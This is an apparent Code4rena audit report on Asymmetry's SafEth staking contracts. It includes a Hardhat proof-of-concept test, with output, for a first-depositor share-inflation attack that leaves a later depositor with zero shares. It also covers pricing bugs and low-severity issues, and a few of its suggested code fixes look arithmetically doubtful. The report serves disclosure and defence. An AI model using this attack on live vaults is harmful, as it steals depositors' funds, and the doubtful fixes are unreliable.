Asymmetry contest - bin2chen's results

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/SafEth.sol#L81

Vulnerability details

Impact

First depositor can steal funds from later depositors

Proof of Concept

Classic issue with vaults. First depositor can get 1 wei shares (by stake and unstake) then donate to the vault to greatly inflate share ratio. Due to truncation when converting to shares this can be used to steal funds from later depositors.

The following test code demonstrates that alice frontrun stakes and then unstakes to get 1 shares, and then raises the preDepositPrice by directly mint wstEth and transferring it to derivatives[wstEth], resulting in bob depositing 1 eth but getting 0 shares

add to SafEth.test.ts

  describe("steal", function () {
    it("steal", async function () {
      const derivativeCount = (await safEthProxy.derivativeCount()).toNumber();
      for (let i = 0; i < derivativeCount; i++) {
        await safEthProxy.setMaxSlippage(i, ethers.utils.parseEther("0.01")); // 1%
      }

      const depositAmount = ethers.utils.parseEther("1");
      const accounts = await ethers.getSigners();
      const alice = accounts[0];
      const bob = accounts[1];
      // 1. alice stake 1 eth
      await safEthProxy.connect(alice).stake({ value: depositAmount });
      let aliceShares = await safEthProxy.balanceOf(alice.address);
      // 2.alice unstak (1 eth - 1) , left 1 wei shares
      await safEthProxy.connect(alice).unstake(aliceShares.sub(1));

      // 3.1 alice mint 10 wstETH
      const wstETH = await ethers.getContractAt(
        "IWStETH",
        "0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0");

      await alice.sendTransaction({
          to: wstETH.address,
          value: ethers.utils.parseEther("10"),
      });
      // 3.2 alice direct transfer wstETH to safEthProxy
      await wstETH.connect(alice).transfer(await safEthProxy.derivatives(2),wstETH.balanceOf(alice.address));
      // 4. bob stake 1 eth
      await safEthProxy.connect(bob).stake({ value: depositAmount });
      aliceShares = await safEthProxy.balanceOf(alice.address);
      const bobShares = await safEthProxy.balanceOf(bob.address);
      console.log("alice shares:",aliceShares);
      // 5. but bob get shares == 0 ,  lose funds
      console.log("bob shares:",bobShares);
    });
  });  

$ yarn hardhat test --grep steal



alice shares: BigNumber { value: "1" }
bob shares: BigNumber { value: "0" }

Tools Used

Recommended Mitigation Steps

Either during creation of the vault or for first depositor, lock a small amount of the deposit to avoid this.

or refer to:

https://ethereum-magicians.org/t/address-eip-4626-inflation-attacks-with-virtual-shares-and-assets/12677/7

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/SafEth.sol#L73

Vulnerability details

Impact

underlyingValue may unreasonable calculation

Proof of Concept

stake() will first calculate the underlyingValue The code is as follows:

    function stake() external payable {
        require(pauseStaking == false, "staking is paused");
        require(msg.value >= minAmount, "amount too low");
        require(msg.value <= maxAmount, "amount too high");

        uint256 underlyingValue = 0;

        for (uint i = 0; i < derivativeCount; i++)
            underlyingValue +=
                (derivatives[i].ethPerDerivative(derivatives[i].balance()) *
                    derivatives[i].balance()) /
                10 ** 18;        

The unit price is obtained by derivatives[i].ethPerDerivative() where the Reth.ethPerDerivative() code is as follows:

    function ethPerDerivative(uint256 _amount) public view returns (uint256) {
        if (poolCanDeposit(_amount))
            return
                RocketTokenRETHInterface(rethAddress()).getEthValue(10 ** 18);
        else return (poolPrice() * 10 ** 18) / (10 ** 18);
    }

Reth.ethPerDerivative() will select the price by the number of purchases, but stake() passes in derivatives[i].balance(), which is not the number of purchases needed for this stake

To calculate the current price of derivatives[i].balance(), it makes sense to use RocketTokenRETHInterface(rethAddress()).getEthValue(10 ** 18).

Tools Used

Recommended Mitigation Steps

modify Reth.ethPerDerivative()

    function ethPerDerivative(uint256 _amount) public view returns (uint256) {
-       if (poolCanDeposit(_amount))
            return
                RocketTokenRETHInterface(rethAddress()).getEthValue(10 ** 18);
-       else return (poolPrice() * 10 ** 18) / (10 ** 18);
    }

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/WstEth.sol#L87

Vulnerability details

Impact

WstEth.ethPerDerivative() may get error amount

Proof of Concept

WstEth.ethPerDerivative() the code:

    function ethPerDerivative(uint256 _amount) public view returns (uint256) {
        return IWStETH(WST_ETH).getStETHByWstETH(10 ** 18);
    }

The number of stEth is currently obtained, not eth amount Let's see how SfrxEth.sol handled ? : SfrxEth.ethPerDerivative() will transfer frxEth to eth amount

    function ethPerDerivative(uint256 _amount) public view returns (uint256) {
        uint256 frxAmount = IsFrxEth(SFRX_ETH_ADDRESS).convertToAssets(
            10 ** 18
        );
        return ((10 ** 18 * frxAmount) /
            IFrxEthEthPool(FRX_ETH_CRV_POOL_ADDRESS).price_oracle());
    }

stETH also needs to be converted to eth amount by IStEthEthPool(LIDO_CRV_POOL)

Tools Used

Recommended Mitigation Steps

Convert via IFrxEthEthPool(FRX_ETH_CRV_POOL_ADDRESS).get_virtual_price()

L-01:maxSlippage Slippage does not provide real protection Currently individual derivatives are protected against slippage when exchanging, but the estimated prices are all from the pool price of the same transaction When the price drops sharply, the estimated price also drops sharply, and minOut also drops sharply, resulting in very limited protection from slippage It is recommended to calculate minOut without adding pool price to the calculation, and to calculate minOut directly based on the expected eth

contract SfrxEth is IDerivative, Initializable, OwnableUpgradeable {
    function withdraw(uint256 _amount) external onlyOwner {
...
-        uint256 minOut = (((ethPerDerivative(_amount) * _amount) / 10 ** 18) *
-            (10 ** 18 - maxSlippage)) / 10 ** 18;    
+        uint256 minOut = (_amount / 10 ** 18 *
+            (10 ** 18 - maxSlippage)) / 10 ** 18;    

contract Reth is IDerivative, Initializable, OwnableUpgradeable {
...
    function deposit() external payable onlyOwner returns (uint256) {
-           uint256 minOut = ((((rethPerEth * msg.value) / 10 ** 18) *
+           uint256 minOut = (((msg.value / 10 ** 18) *
                ((10 ** 18 - maxSlippage))) / 10 ** 18);    

L-02:stake()/unstake() minAmount/maxAmount Problem

1. take() only determines maxAmount for this time, and does not add how many shares the current user already has
2. unstake() does not limit _safEthAmount, so after unstake, the value of the user's remaining shares may be less than minAmount.

It is recommended to add a judgment to the existing shares, but not this minAmount/maxAmount does not work

L-03:adjustWeight() lacks the judgment _derivativeIndex < derivativeCount If _derivativeIndex > derivativeCount, the adjustment is invalid Suggestion.

    function adjustWeight(
        uint256 _derivativeIndex,
        uint256 _weight
    ) external onlyOwner {

+       require(_derivativeIndex<derivativeCount,"bad index");
        weights[_derivativeIndex] = _weight;
        uint256 localTotalWeight = 0;
        for (uint256 i = 0; i < derivativeCount; i++)
            localTotalWeight += weights[i];
        totalWeight = localTotalWeight;
        emit WeightChange(_derivativeIndex, _weight);
    }

L-04:addDerivative() Missing to determine whether _contractAddress exists or not If the derivative address is the same as the old one, it will lead to double calculation of the total assets when stake(), if underlyingValue is too big, leading to bigger preDepositPrice and inaccurate calculation of mintAmount.

It is suggested that the loop determine whether the same address already exists in the current list, if existence then revert

L-05:SafEthStorage lack of GAP placeholder, not conducive to subsequent upgrades resulting in storage conflicts